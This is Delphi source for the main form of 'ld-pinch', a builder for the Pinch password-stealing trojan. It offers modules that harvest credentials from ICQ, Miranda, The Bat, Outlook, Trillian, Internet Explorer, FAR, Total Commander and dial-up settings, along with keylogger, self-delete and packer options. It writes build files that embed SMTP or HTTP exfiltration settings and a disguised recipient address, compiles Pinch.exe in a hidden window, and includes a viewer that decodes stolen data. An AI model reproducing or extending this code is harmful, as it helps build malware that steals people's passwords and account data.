unit Main;

{$WARN SYMBOL_PLATFORM OFF}

interface

uses
  Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,
  Menus, ComCtrls, StdCtrls, ShellAPI, Spin, xBase, WinSock, ActiveX, WinInet,
  ieConst, IEDocHostUIHandler, About, xNet, xProcess, OleCtrls, SHDocVw, MadZip, MadCrypt;

type
  TMainForm = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    MainMenu1: TMainMenu;
    Help1: TMenuItem;
    File1: TMenuItem;
    ExitItem: TMenuItem;
    AboutItem: TMenuItem;
    GroupBox2: TGroupBox;
    GroupBox3: TGroupBox;
    InfoMemo: TMemo;
    PackCheck: TCheckBox;
    ICQ2003Check: TCheckBox;
    ICQ99bCheck: TCheckBox;
    TheBatCheck: TCheckBox;
    MirandaCheck: TCheckBox;
    OutlookCheck: TCheckBox;
    SelfCheck: TCheckBox;
    IECheck: TCheckBox;
    TrillianCheck: TCheckBox;
    CompileButton: TButton;
    SysinfoCheck: TCheckBox;
    TabSheet2: TTabSheet;
    DecryptMenu: TPopupMenu;
    ProcessData1: TMenuItem;
    FarCheck: TCheckBox;
    WTCCheck: TCheckBox;
    WebBrowser: TWebBrowser;
    SaveHTMLItem: TMenuItem;
    RasCheck: TCheckBox;
    TrojanCheck: TCheckBox;
    PrintItem: TMenuItem;
    RQCheck: TCheckBox;
    KeyLogCheck: TCheckBox;
    ConsoleCheck: TCheckBox;
    GroupBox5: TGroupBox;
    SMTPRadio: TRadioButton;
    HTTPRadio: TRadioButton;
    FileRadio: TRadioButton;
    PageControl2: TPageControl;
    TabSheet3: TTabSheet;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label6: TLabel;
    ResolveButton: TButton;
    TestButton: TButton;
    IntervalEdit: TSpinEdit;
    IPEdit: TComboBox;
    FromEdit: TComboBox;
    ToEdit: TComboBox;
    PortEdit: TSpinEdit;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox4: TGroupBox;
    Label5: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    HTTPURLEdit: TComboBox;
    HTTPSubjEdit: TComboBox;
    HTTPCheckEdit: TComboBox;
    GroupBox6: TGroupBox;
    Label9: TLabel;
    FilePathEdit: TComboBox;
    IconCheck: TCheckBox;
    IconPathEdit: TComboBox;
    procedure ResolveButtonMouseMove(Sender: TObject; Shift: TShiftState;
      X, Y: Integer);
    procedure PortEditMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure TestButtonMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure CompileButtonMouseMove(Sender: TObject; Shift: TShiftState;
      X, Y: Integer);
    procedure ICQ99bCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure MirandaCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ICQ2003CheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure SelfCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure OutlookCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure TheBatCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure TrillianCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure IECheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure PackCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure InfoMemoMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ExitItemClick(Sender: TObject);
    procedure CompileButtonClick(Sender: TObject);
    procedure SysinfoCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure RetriesEditMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure IntervalEditMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ToEditChange(Sender: TObject);
    procedure FromEditChange(Sender: TObject);
    procedure IPEditChange(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ResolveButtonClick(Sender: TObject);
    procedure ICQ99bCheckEnter(Sender: TObject);
    procedure ICQ2003CheckEnter(Sender: TObject);
    procedure MirandaCheckEnter(Sender: TObject);
    procedure TheBatCheckEnter(Sender: TObject);
    procedure OutlookCheckEnter(Sender: TObject);
    procedure TrillianCheckEnter(Sender: TObject);
    procedure IECheckEnter(Sender: TObject);
    procedure SelfCheckEnter(Sender: TObject);
    procedure PackCheckEnter(Sender: TObject);
    procedure SysinfoCheckEnter(Sender: TObject);
    procedure CompileButtonEnter(Sender: TObject);
    procedure ResolveButtonEnter(Sender: TObject);
    procedure PortEditEnter(Sender: TObject);
    procedure RetriesEditEnter(Sender: TObject);
    procedure IntervalEditEnter(Sender: TObject);
    procedure TestButtonEnter(Sender: TObject);
    procedure AboutItemClick(Sender: TObject);
    procedure TestButtonClick(Sender: TObject);
    procedure FarCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure FarCheckEnter(Sender: TObject);
    procedure WTCCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure WTCCheckEnter(Sender: TObject);
    procedure WebBrowserNavigateComplete2(Sender: TObject;
      const pDisp: IDispatch; var URL: OleVariant);
    procedure ProcessData1Click(Sender: TObject);
    procedure SaveHTMLItemClick(Sender: TObject);
    procedure RasCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure RasCheckEnter(Sender: TObject);
    procedure TabSheet2Show(Sender: TObject);
    procedure TrojanCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure TrojanCheckEnter(Sender: TObject);
    procedure PrintItemClick(Sender: TObject);
    procedure RQCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure RQCheckEnter(Sender: TObject);
    procedure KeyLogCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure KeyLogCheckEnter(Sender: TObject);
    procedure ConsoleCheckEnter(Sender: TObject);
    procedure ConsoleCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure HTTPURLEditChange(Sender: TObject);
    procedure HTTPSubjEditChange(Sender: TObject);
    procedure HTTPCheckEditChange(Sender: TObject);
    procedure SMTPRadioMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure HTTPRadioMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure FileRadioMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure SMTPRadioEnter(Sender: TObject);
    procedure HTTPRadioEnter(Sender: TObject);
    procedure FileRadioEnter(Sender: TObject);
    procedure IconCheckMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure IconCheckEnter(Sender: TObject);
    procedure FilePathEditChange(Sender: TObject);
  private
    FHTMLDocument: THTMLDocument;
    procedure _UpdateComponents;
    procedure SetInfo(const Text: String);
    function ReturnCompilerStrings: String;
    procedure ExecuteBatch;
  public
  end;


var
  MainForm: TMainForm;
  TotalCompiledModules: Integer;
  FDocHostUIHandler: TDocHostUIHandler;
  FOldText: String = '';

implementation

{$R *.dfm}
{$R Resources.res}
{$I InfoEvents.inc}

procedure TMainForm._UpdateComponents;
begin
  xUpdateComponents([IPEdit, PortEdit, FromEdit, ToEdit, IntervalEdit,
                   ICQ99bCheck, ICQ2003Check, MirandaCheck, TheBatCheck, OutlookCheck, TrillianCheck, IECheck,
                   SelfCheck, PackCheck, SysinfoCheck, FarCheck, WTCCheck, RasCheck, TrojanCheck, RQCheck, KeyLogCheck, ConsoleCheck,
                   HTTPURLEdit, HTTPSubjEdit, HTTPCheckEdit, SMTPRadio, HTTPRadio, FileRadio, FilePathEdit, IconCheck, IconPathEdit]);
  if IntervalEdit.Value < 0 then IntervalEdit.Value := 0;
  if PortEdit.Value < 1 then IntervalEdit.Value := 1;
end;

procedure TMainForm.FormCreate(Sender: TObject);
var
  WSA: TWSAData;
begin
  Randomize;
  WSAStartup(MAKEWORD(1, 1), WSA);

  xInitComponents([IPEdit, PortEdit, FromEdit, ToEdit, IntervalEdit,
                   ICQ99bCheck, ICQ2003Check, MirandaCheck, TheBatCheck, OutlookCheck, TrillianCheck, IECheck,
                   SelfCheck, PackCheck, SysinfoCheck, FarCheck, WTCCheck, RasCheck, TrojanCheck, RQCheck, KeyLogCheck, ConsoleCheck,
                   HTTPURLEdit, HTTPSubjEdit, HTTPCheckEdit, SMTPRadio, HTTPRadio, FileRadio, FilePathEdit, IconCheck, IconPathEdit]);
  if IntervalEdit.Value < 0 then IntervalEdit.Value := 0;
  if PortEdit.Value < 1 then IntervalEdit.Value := 1;

  {Wait untill WebBrowser object will be ready for work}
  while WebBrowser.ReadyState <> READYSTATE_COMPLETE do
    Application.ProcessMessages;

  {Init HTML PopupMenu handler}
  FDocHostUIHandler := TDocHostUIHandler.Create;
  FDocHostUIHandler.FWebBrowser := WebBrowser;

  {Init THTMLDocument}
  FHtmlDocument := THtmlDocument.Create(WebBrowser);
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
  _UpdateComponents;
  WSACleanup;
  FDocHostUIHandler.Free;
  FHtmlDocument.Free;
end;

function TMainForm.ReturnCompilerStrings: String;
  procedure AddString(const Value: String);
  begin
    Result := Result + ' /DMOD_' + Value;
    Inc(TotalCompiledModules);
  end;
begin
  TotalCompiledModules := 0;
  Result := '';
  if ICQ99bCheck.Checked then AddString('ICQ99B');
  if ICQ2003Check.Checked then AddString('ICQ2003');
  if MirandaCheck.Checked then AddString('MIRANDA');
  if TheBatCheck.Checked then AddString('THEBAT');
  if OutlookCheck.Checked then AddString('OUTLOOK');
  if IECheck.Checked then AddString('IE');
  if SysinfoCheck.Checked then AddString('SYSINFO');
  if TrillianCheck.Checked then AddString('TRILLIAN');
  if FarCheck.Checked then AddString('FAR');
  if WTCCheck.Checked then AddString('WTC');
  if RasCheck.Checked then AddString('RAS');
  if TrojanCheck.Checked then AddString('TROJ');
  if RQCheck.Checked then AddString('RQ');
  if ConsoleCheck.Checked then AddString('CS');
  if HTTPRadio.Checked then AddString('HTTP')
  else if FILERadio.Checked then AddString('TEXT');  
  if KeyLogCheck.Checked then begin
    if SelfCheck.Checked and TrojanCheck.Checked then
      AddString('SELFDELETE');
    AddString('KL');
  end else begin
    if SelfCheck.Checked then AddString('SELFDELETE');
  end;
end;

procedure TMainForm.ExitItemClick(Sender: TObject);
begin
  Close;
end;

procedure TMainForm.CompileButtonClick(Sender: TObject);
var
  S: String;
  hFile: THandle;
  F: File;
  size: DWord;

  P: String;
  O: String;
  i: Integer;
begin
  if (Trim(IPEdit.Text) = '') or (inet_addr(PChar(IPEdit.Text)) = INADDR_NONE) then begin
    MessageBox(Handle, 'Write a valid SMTP server and press Resolve button.', 'Error', MB_ICONERROR);
    Exit;
  end;
  // There's a protection which doesn't allow to change email in resources :) (these messages can't be decrypted)
  P := Compress(FromEdit.Text + '3');
  Encrypt(P, '12' + ToEdit.Text);
  O := '        szMailTest      db      "';
  for i := 1 to 4 do
    O := O + IntToHex(Ord(P[i]), 2);
  O := O + '",13,10';

  _UpdateComponents;

  S :=  'rem Auto-generated file, can be deleted...' + #13#10#13#10 +
        '..\Compiler\ml' + ReturnCompilerStrings + ' /c /coff /Cp Pinch.asm' + #13#10;

  if IconCheck.Checked then
    S := S +
         #13#10'rem Compile resources'#13#10 +
         '..\Compiler\brcc32.exe -32 -fo"rsrc.res" "rsrc.rc"'#13#10 +
         '..\Compiler\cvtres.exe /nologo /machine:ix86 "rsrc.res"'#13#10#13#10;

  if not IconCheck.Checked then
    S := S + '..\Compiler\link /RELEASE /SUBSYSTEM:WINDOWS /LIBPATH:..\Lib /OUT:..\..\Pinch.exe Pinch.obj' + #13#10
  else
    S := S + '..\Compiler\link /RELEASE /SUBSYSTEM:WINDOWS /LIBPATH:..\Lib /OUT:..\..\Pinch.exe Pinch.obj rsrc.obj' + #13#10;

  S := S +
         'if exist rsrc.obj del rsrc.obj'#13#10 +
         'if exist rsrc.res del rsrc.res'#13#10 +
         'if exist Pinch.obj del Pinch.obj'#13#10#13#10;

  if PackCheck.Checked then
    S := S + 'rem Compression enabled...'#13#10 + '..\Packer\fsg.exe ..\..\Pinch.exe'#13#10;

  hFile := CreateFile('Pinch\Pinch\build.bat', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then begin
    MessageBox(Handle, 'Could not create build.bat file.', 'Error', MB_ICONERROR);
    Exit;
  end;

  if not SafeWrite(hFile, @S[1], Length(S)) then begin
    CloseHandle(hFile);
    MessageBox(Handle, 'Could not write data to build.bat file.', 'Error', MB_ICONERROR);
    Exit;
  end;

  CloseHandle(hFile);

  S := '        ; Auto-generated file, can be deleted...' + #13#10 + #13#10 +
       '        MailInterval    equ ' + IntToStr(IntervalEdit.Value * 1000) + #13#10 +
       '        MailPortNumber  equ ' + IntToStr(PortEdit.Value) + #13#10#13#10 +
       '        .data'#13#10#13#10 +
       '        szMailFrom      db      "MAIL FROM: ' + FromEdit.Text + '",13,10,0'#13#10 +
       O + #13#10 +
       '        szMailRecepient db      "RCPT TO: ' + ToEdit.Text + '",13,10,0'#13#10 +
       '        szMailHost      equ     0' + IntToHex(inet_addr(PChar(IPEdit.Text)), 8) + 'h'#13#10;

  if HTTPRadio.Checked then begin
    S := S +
       '        szHTTPVar2      db      "&b=' + HTTPSubjEdit.Text + '&c=",0'#13#10 +
       '        szURL           db      "' + HTTPURLEdit.Text + '",0'#13#10 +
       '        szStatTxt       db      "' + HTTPCheckEdit.Text + '",0'#13#10#13#10;
  end;

  if FILERadio.Checked then begin
    S := S +
       '        szSFileName     db "' + FilePathEdit.Text + '",0'#13#10;
  end;

  hFile := CreateFile('Pinch\Pinch\Options.inc', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then begin
    MessageBox(Handle, 'Could not create Options.inc file.', 'Error', MB_ICONERROR);
    Exit;
  end;

  if not SafeWrite(hFile, @S[1], Length(S)) then begin
    CloseHandle(hFile);
    MessageBox(Handle, 'Could not write data to Optionc.inc file.', 'Error', MB_ICONERROR);
    Exit;
  end;

  CloseHandle(hFile);

  // RSRC.RC

  S :=  '// Auto-generated file, can be deleted...'#13#10#13#10 +
        '500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE "' + IconPathEdit.Text + '"'#13#10;

  hFile := CreateFile('Pinch\Pinch\rsrc.rc', GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, CREATE_ALWAYS, 0, 0);
  if hFile = INVALID_HANDLE_VALUE then begin
    Write('<b>Could not create rsrc.rc file.</b>');
    Exit;
  end;

  if not SafeWrite(hFile, @S[1], Length(S)) then begin
    CloseHandle(hFile);
    Write('Could not write data to rsrc.rc file.');
    Exit;
  end;

  CloseHandle(hFile);

  if FileExists('Pinch.exe') and (not DeleteFile('Pinch.exe')) then begin
    MessageBox(Handle, 'Could not build Pinch.exe, file in use.', 'Error', MB_ICONERROR);
    Exit;
  end;

  ExecuteBatch;

  if not FileExists('Pinch.exe') then begin
    MessageBox(Handle, 'Compilation failed :(', 'Error', MB_ICONERROR);
    Exit;
  end else begin
    {$I-}
    AssignFile(F, 'Pinch.exe');
    Reset(F, 1);
    if IOResult <> 0 then
      size := 0
    else
      size := FileSize(F);
    CloseFile(F);
    {$I+}
    MessageBox(Handle, PChar('Target file created: ' + IntToStr(size) + ' bytes.'#13#10'Modules compiled: ' + IntToStr(TotalCompiledModules) + '.'), 'OK',
      MB_OK or MB_ICONINFORMATION);
    Exit;
  end;
end;

procedure TMainForm.ExecuteBatch;
var
  ProcInfo:  PShellExecuteInfo;
  buf: array[0..MAX_PATH+1] of Byte;
  buf2: PChar;
begin
  CompileButton.Enabled := False;
  New(ProcInfo);
  ZeroMemory(ProcInfo,  SizeOf(ProcInfo^));
  with ProcInfo^ do begin
    GetFullPathName('Pinch\Pinch', MAX_PATH, @buf, buf2);
    ProcInfo^.lpDirectory := @buf;
    Wnd := Handle;
    cbSize := SizeOf(ProcInfo^);
    lpFile := PChar('build.bat');
    lpVerb := 'open';
    nShow := SW_HIDE;
    fMask := SEE_MASK_DOENVSUBST or SEE_MASK_NOCLOSEPROCESS;
  end;
  try
    Win32check(ShellExecuteEx(ProcInfo));
    while not Application.Terminated and (WaitForSingleObject(ProcInfo.hProcess, 100) = WAIT_TIMEOUT) do
      Application.ProcessMessages;
  finally
    if ProcInfo.hProcess <> 0 then
      CloseHandle(ProcInfo.hProcess);
    Dispose(ProcInfo);
    CompileButton.Enabled  :=  True;
  end;
end;

procedure TMainForm.ResolveButtonClick(Sender: TObject);
var
  addr: Integer;
  inaddr: in_addr;
begin
  _UpdateComponents;
  addr := xResolve(IPEdit.Text);
  if addr = INADDR_NONE then
    MessageBox(Handle, 'Could not resolve host', 'Error', MB_ICONERROR)
  else begin
    inaddr.S_addr := addr;
    IPEdit.Text := inet_ntoa(inaddr);
  end;
end;

procedure TMainForm.AboutItemClick(Sender: TObject);
begin
  with TAboutForm.Create(Self) do begin
    ShowModal;
    Free;
  end;
end;

procedure TMainForm.TestButtonClick(Sender: TObject);
var
  P: TSMTPProtocol;
begin
  P := TSMTPProtocol.Create;
  if P.Connect(IPEdit.Text, PortEdit.Value) then begin
    if P.MakeSMTPSession(IPEdit.Text, FromEdit.Text, ToEdit.Text, 'Test message from ld-pinch!') then
      MessageBox(Handle, 'Message sent succeffully.', 'OK', MB_OK or MB_ICONINFORMATION)
    else begin
      if P.LastError = ERR_ONCMD_STR then
        MessageBox(Handle, PChar('Message can''t be delivered: ' + P.LastErrorStr + '.'), 'Error', MB_ICONERROR)
      else
        MessageBox(Handle, 'Message can''t be delivered.', 'Error', MB_ICONERROR);
    end;
    P.Disconnect;
  end else
    MessageBox(Handle, 'Could not connect to SMTP server.', 'Error', MB_ICONERROR);
  P.Free;
end;

procedure TMainForm.WebBrowserNavigateComplete2(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
var
  hr: HResult;
  CustDoc: ICustomDoc;
begin
  hr := WebBrowser.Document.QueryInterface(ICustomDoc, CustDoc);
  if hr = S_OK then
    CustDoc.SetUIHandler(FDocHostUIHandler);
end;

procedure TMainForm.ProcessData1Click(Sender: TObject);
var
  Text: String;
  Memo: TMemo;
begin
  Memo := TMemo.Create(nil);
  Memo.Visible := False;
  Memo.Parent := Self;
  Memo.PasteFromClipboard;
  Text := xProcessData(Memo.Text);
  Memo.Free;

  if FOldText <> Text then begin
    FHtmlDocument.Clear;
    FHtmlDocument.AddData(Text);
    FHtmlDocument.Show;
  end;
  FOldText := Text;
end;

procedure TMainForm.TabSheet2Show(Sender: TObject);
begin
  ProcessData1Click(Self);
end;

procedure TMainForm.SaveHTMLItemClick(Sender: TObject);
begin
  FHTMLDocument.SaveToFile;
end;

procedure TMainForm.PrintItemClick(Sender: TObject);
begin
  FHtmlDocument.Print;
end;


initialization
  OleInitialize(nil);

finalization
  OleUninitialize;

end.
